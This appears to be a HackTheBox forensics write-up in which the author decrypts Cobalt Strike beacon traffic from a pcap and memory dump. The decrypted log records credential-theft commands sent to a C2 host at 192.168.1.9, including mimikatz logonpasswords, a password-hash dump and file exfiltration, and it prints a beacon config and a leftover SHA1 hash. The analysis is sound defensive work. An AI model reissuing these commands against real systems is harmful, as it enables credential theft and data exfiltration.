Strike Back
D3v0o0Nu119/2/202610 min read
#forensics#htb#medium
Strike Back
Platform: HackTheBox | Category: Forensics | Difficulty: Medium | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
A fleet of steam blimps waits the final signal from their commander in order to attack gogglestown kingdom. A recent cyber attack had us thinking if the enemy managed to discover our plans and prepare a counter-attack. Will the fleet get ambused???
Solution Approach
Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.
Steps
-
First, unzip the
.zipfile given. -
Check both file types.
-
The
.dmpfiles contains Mini DuMP crash report, 17 streams. Let's strings that file to see if we can get any clue. -
Got a username ->
npatrickand notice the user seems download aPEfile named freesteam.exe. Let's binwalk the.dmpfile, to see if there are any files we can extract.
EXTRACTED
-
Hmm.. Let's open the
.pcapfile then. -
All the http packets seems should be our interest here, let's export all of them.
-
Let's decompile the
freesteam.exe. -
When analyzing this function.
This undefined function seems execute a shellcode
-
Since it's a forensic challenge, i tried to upload the
PEfile to virustotal webapp and got this: -
Based on the output, i think this chall related to Cobalt Strike Beacon Attacks. I did a small outsource about this attack and found several article discussing this concept.
https://blog.nviso.eu/2021/10/21/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-1/
https://blog.nviso.eu/2021/11/17/cobalt-strike-decrypting-obfuscated-traffic-part-4/
https://blog.nviso.eu/2021/11/03/cobalt-strike-using-process-memory-to-decrypt-traffic-part-3/
https://blog.didierstevens.com/2021/10/11/update-1768-py-version-0-0-8/
https://github.com/DidierStevens/Beta/blob/master/cs-extract-key.py
https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py
- First let's get the public and private key (if there is) using this python script.
sh read-only • copy allowedpython 1768.py ../../../Downloads/htb/foren/exportHttp/iVd9 -V
File: ../../../Downloads/htb/foren/exportHttp/iVd9
xorkey(chain): 0xb9ce3940
length: 0x00032600
payloadType: 0x10014522
payloadSize: 0x00000000
intxorkey: 0x00000000
id2: 0x00000000
Config found: xorkey b'.' 0x0002f610 0x00032600
0x0001 payload type 0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port 0x0001 0x0002 80
0x0003 sleeptime 0x0002 0x0004 60000
0x0004 maxgetsize 0x0002 0x0004 1048576
0x0005 jitter 0x0001 0x0002 0
0x0006 maxdns 0x0001 0x0002 255
0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d003081890281810090675223e8a456ebda21cb31552d9f58e675bfa1dabeefbdc3071e5d8d9e263500f9665ce43bc9d0e51aa869b19250d855c8c19f3bac59fc7b4de2164ba4e9327f713436fb283d6cc7326b40755f39209643c1a13bcaaeef082b7a070342254cb2a971c17e43ec095a598678fd02360097fb4a3740d279c8ca61ed3e1b5de96d020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri 0x0003 0x0100 '192.168.1.9,/match'
0x0009 useragent 0x0003 0x0080 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET4.0C)'
0x000a post-uri 0x0003 0x0040 '/submit.php'
0x000b Malleable_C2_Instructions 0x0003 0x0100 '\x00\x00\x00\x04'
0x000c http_get_header 0x0003 0x0100
Cookie
0x000d http_post_header 0x0003 0x0100
&Content-Type: application/octet-stream
id
0x000e SpawnTo 0x0003 0x0010 (NULL ...)
0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x000f pipename 0x0003 0x0080 (NULL ...)
0x001f CryptoScheme 0x0001 0x0002 0
0x0013 DNS_Idle 0x0002 0x0004 0 0.0.0.0
0x0014 DNS_Sleep 0x0002 0x0004 0
0x001a get-verb 0x0003 0x0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 0
0x0025 license-id 0x0002 0x0004 16777216 Stats uniques -> ips/hostnames: 17 publickeys: 17
0x0026 bStageCleanup 0x0001 0x0002 0
0x0027 bCFGCaution 0x0001 0x0002 0
0x0036 HostHeader 0x0003 0x0080 (NULL ...)
0x0032 UsesCookies 0x0001 0x0002 1
0x0023 proxy_type 0x0001 0x0002 2 IE settings
0x003a 0x0003 0x0080 '\x00\x04'
0x0039 0x0003 0x0080 '\x00\x04'
0x0037 0x0001 0x0002 0
0x0028 killdate 0x0002 0x0004 0
0x0029 textSectionEnd 0x0002 0x0004 0
0x002b process-inject-start-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002c process-inject-use-rwx 0x0001 0x0002 64 PAGE_EXECUTE_READWRITE
0x002d process-inject-min_alloc 0x0002 0x0004 0
0x002e process-inject-transform-x86 0x0003 0x0100 (NULL ...)
0x002f process-inject-transform-x64 0x0003 0x0100 (NULL ...)
0x0035 process-inject-stub 0x0003 0x0010 'd\\ÃÂê·Íñ¡T,¬\x13¾\x0c\x07'
0x0033 process-inject-execute 0x0003 0x0080 '\x01\x02\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.2 (max 0x003a)
- Got the public key but no private key. Also there's
Malleable_C2_Instructions->\x00\x00\x00\x04. - Convert it from little-endian we know it's 4 bytes. Confused here, so read the documentation again and found out that we need to grep data from a post http stream but with a len of 68 bytes. Then pass in as the
-cparameter when usedcs-extract-key.pyscript.
USED IT ON THE SCRIPT - PASS IT FOR .DMP FILE
- The problem now is we didn't have the raw key so we can't use the same method as the documentation we found for using
cs-parse-http-traffic.py. - But we can use the
SHA256 raw key. For the flag we shall use-k->hmacaeskeys. Because theSHA256 raw keyhas the same value for hmac - aes.
python cs-parse-http-traffic.py -k REDACTED:REDACTED ../../../Downloads/htb/foren/capture.pcap
Packet number: 12
HTTP response (for request 7 GET)
Length raw data: 14336
HMAC signature invalid
Packet number: 47
HTTP response (for request 23 GET)
Length raw data: 206401
HMAC signature invalid
Packet number: 69
HTTP response (for request 66 GET)
Length raw data: 48
Timestamp: 1637354721 20211119-204521
Data size: 8
Command: 27 GETUID
Arguments length: 0
Packet number: 76
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 68
Counter: 2
Callback: 16 BEACON_GETUID
b'WS02\\npatrick (admin)'
Packet number: 101
HTTP response (for request 86 GET)
Length raw data: 87648
Timestamp: 1637354781 20211119-204621
Data size: 87608
Command: 89 UNKNOWN
Arguments length: 87552
b'MZ\xe8\x00\x00\x00\x00[REU\x89\xe5\x81\xc3)\x1f\x00\x00\xff\xd3\x89\xc3Wh\x04\x00\x00\x00P\xff\xd0
MD5: REDACTED
Command: 40 UNKNOWN
Arguments length: 40
Unknown1: 0
Unknown2: 1602864
Pipename: b'\\\\.\\pipe\\8e09448'
Command: b'net user'
b''
Packet number: 109
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 724
Counter: 3
Callback: 24 BEACON_OUTPUT_NET
b"Account information for npatrick on \\\\localhost:\n\nUser name npatrick\nFull Name npatrick\nComment Fleet Commander\nUser's Comment \nCountry code 0\nAccount active Yes\nAccount expires Never\nAccount type Admin\n\nPassword last set 221 hours ago\nPassword expires Yes\nPassword changeable Yes\nPassword required Yes\nUser may change password Yes\n\nWorkstations allowed \nLogon script \nUser profile \nHome directory \nLast logon 11/19/2021 12:41:23\n"
Packet number: 135
HTTP response (for request 119 GET)
Length raw data: 82528
Timestamp: 1637354843 20211119-204723
Data size: 82501
Command: 44 UNKNOWN
Arguments length: 82432
b'MZARUH\x89\xe5H\x81\xec \x00\x00\x00H\x8d\x1d\xea\xff\xff\xffH\x81\xc3T\x16\x00\x00\xff\xd3H\x89\x
MD5: REDACTED
Command: 40 UNKNOWN
Arguments length: 53
Unknown1: 0
Unknown2: 1391256
Pipename: b'\\\\.\\pipe\\8a4f8bc8'
Command: b'dump password hashes'
b''
Packet number: 143
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 548
Counter: 4
Callback: 21 BEACON_OUTPUT_HASHES
b'Administrator:500:REDACTED:REDACTED:::\nDefaultAccount:503:REDACTED:REDACTED:::\nGuest:501:REDACTED:REDACTED:::\nJohn Doe:1001:REDACTED:REDACTED:::\nnpatrick:1002:REDACTED:REDACTED:::\nWDAGUtilityAccount:504:REDACTED:REDACTED:::\n'
Packet number: 190
HTTP response (for request 153 GET)
Length raw data: 438896
Timestamp: 1637354904 20211119-204824
Data size: 438866
Command: 44 UNKNOWN
Arguments length: 438784
b'MZARUH\x89\xe5H\x81\xec \x00\x00\x00H\x8d\x1d\xea\xff\xff\xffH\x81\xc3\xb8\x87\x00\x00\xff\xd3H\x8
MD5: REDACTED
Command: 40 UNKNOWN
Arguments length: 66
Unknown1: 0
Unknown2: 2112152
Pipename: b'\\\\.\\pipe\\673dd5c0'
Command: b'mimikatz sekurlsa::logonpasswords'
b''
Packet number: 204
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 4516
Counter: 5
Callback: 32 UNKNOWN
Authentication Id : 0 ; 334782 (00000000:00051bbe)
Session : Interactive from 1
User Name : npatrick
Domain : WS02
Logon Server : WS02
Logon Time : 11/19/2021 12:40:19 PM
SID : S-1-5-21-3301052303-2181805973-2384618940-1002
msv :
[00000003] Primary
* Username : npatrick
* Domain : .
* NTLM : REDACTED
* SHA1 : 44cb46af6b1e8c5873bee400115d1694e650c5b4
tspkg :
wdigest :
* Username : npatrick
* Domain : WS02
* Password : (null)
kerberos :
* Username : npatrick
* Domain : WS02
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 334736 (00000000:00051b90)
Session : Interactive from 1
User Name : npatrick
Domain : WS02
Logon Server : WS02
Logon Time : 11/19/2021 12:40:19 PM
SID : S-1-5-21-3301052303-2181805973-2384618940-1002
msv :
[00000003] Primary
* Username : npatrick
* Domain : .
* NTLM : REDACTED
* SHA1 : 44cb46af6b1e8c5873bee400115d1694e650c5b4
tspkg :
wdigest :
* Username : npatrick
* Domain : WS02
* Password : (null)
kerberos :
* Username : npatrick
* Domain : WS02
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 11/19/2021 12:40:12 PM
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 46420 (00000000:0000b554)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 11/19/2021 12:40:12 PM
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : WS02$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 46226 (00000000:0000b492)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 11/19/2021 12:40:12 PM
SID : S-1-5-90-0-1
msv :
tspkg :
wdigest :
* Username : WS02$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WS02$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 11/19/2021 12:40:12 PM
SID : S-1-5-20
msv :
tspkg :
wdigest :
* Username : WS02$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : ws02$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 26445 (00000000:0000674d)
Session : Interactive from 0
User Name : UMFD-0
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 11/19/2021 12:40:12 PM
SID : S-1-5-96-0-0
msv :
tspkg :
wdigest :
* Username : WS02$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 26411 (00000000:0000672b)
Session : Interactive from 1
User Name : UMFD-1
Domain : Font Driver Host
Logon Server : (null)
Logon Time : 11/19/2021 12:40:12 PM
SID : S-1-5-96-0-1
msv :
tspkg :
wdigest :
* Username : WS02$
* Domain : WORKGROUP
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 25289 (00000000:000062c9)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 11/19/2021 12:40:12 PM
SID :
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WS02$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 11/19/2021 12:40:12 PM
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WS02$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : ws02$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
Extra packet data: b'\x00\x00\x00'
Packet number: 217
HTTP response (for request 214 GET)
Length raw data: 80
Timestamp: 1637354965 20211119-204925
Data size: 43
Command: 53 LIST_FILES
Arguments length: 35
b'\xff\xff\xff\xfe\x00\x00\x00\x1bC:\\Users\\npatrick\\Desktop\\*'
MD5: REDACTED
Packet number: 224
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 324
Counter: 6
Callback: 22 TODO
b'\xff\xff\xff\xfe'
----------------------------------------------------------------------------------------------------
C:\Users\npatrick\Desktop\*
D 0 11/19/2021 12:24:08 .
D 0 11/19/2021 12:24:08 ..
F 5175 11/11/2021 03:24:13 cheap_spare_parts_for_old_blimps.docx
F 282 11/10/2021 07:02:24 desktop.ini
F 24704 11/11/2021 03:22:16 gogglestown_citizens_osint.xlsx
F 62393 11/19/2021 12:24:10 orders.pdf
----------------------------------------------------------------------------------------------------
Packet number: 237
HTTP response (for request 234 GET)
Length raw data: 80
Timestamp: 1637355025 20211119-205025
Data size: 44
Command: 11 DOWNLOAD
Arguments length: 36
b'C:\\Users\\npatrick\\Desktop\\orders.pdf'
MD5: REDACTED
Packet number: 254
HTTP request POST
http://192.168.1.9/submit.php?id=1909272864
Length raw data: 62572
Counter: 7
Callback: 2 DOWNLOAD_START
parameter1: 0
length: 62393
filenameDownload: C:\Users\npatrick\Desktop\orders.pdf
Counter: 8
Callback: 8 DOWNLOAD_WRITE
Length: 62393
MD5: REDACTED
Counter: 9
Callback: 9 DOWNLOAD_COMPLETE
b'\x00\x00\x00\x00'
Commands summary:
11 DOWNLOAD: 1
27 GETUID: 1
40 UNKNOWN: 3
44 UNKNOWN: 2
53 LIST_FILES: 1
89 UNKNOWN: 1
Callbacks summary:
2 DOWNLOAD_START: 1
8 DOWNLOAD_WRITE: 1
9 DOWNLOAD_COMPLETE: 1
16 BEACON_GETUID: 1
21 BEACON_OUTPUT_HASHES: 1
22 TODO: 1
24 BEACON_OUTPUT_NET: 1
32 UNKNOWN: 1
-
We got these files:
-
Let's crack all of these md5 hashes (some of them are duplicated).
OUR INTEREST
- Let's extract our files with
-eflag using the same script and payload as before.
sh read-only • copy allowedpython cs-parse-http-traffic.py -k REDACTED:REDACTED -e ../../../Downloads/htb/foren/capture.pcap
-
I thought i might stuck here again for a while since i'm not familiar with the
.vir. But when i tried to see it straight from the directory GUI. Found the flag inside the.pdffile. -
Got the flag!
Flag
REDACTED
Lessons Learned
- Identify the weakness from source review or fingerprinting first.
- Iterate with incremental payloads instead of guessing.
- Reuse the same pattern in future engagements.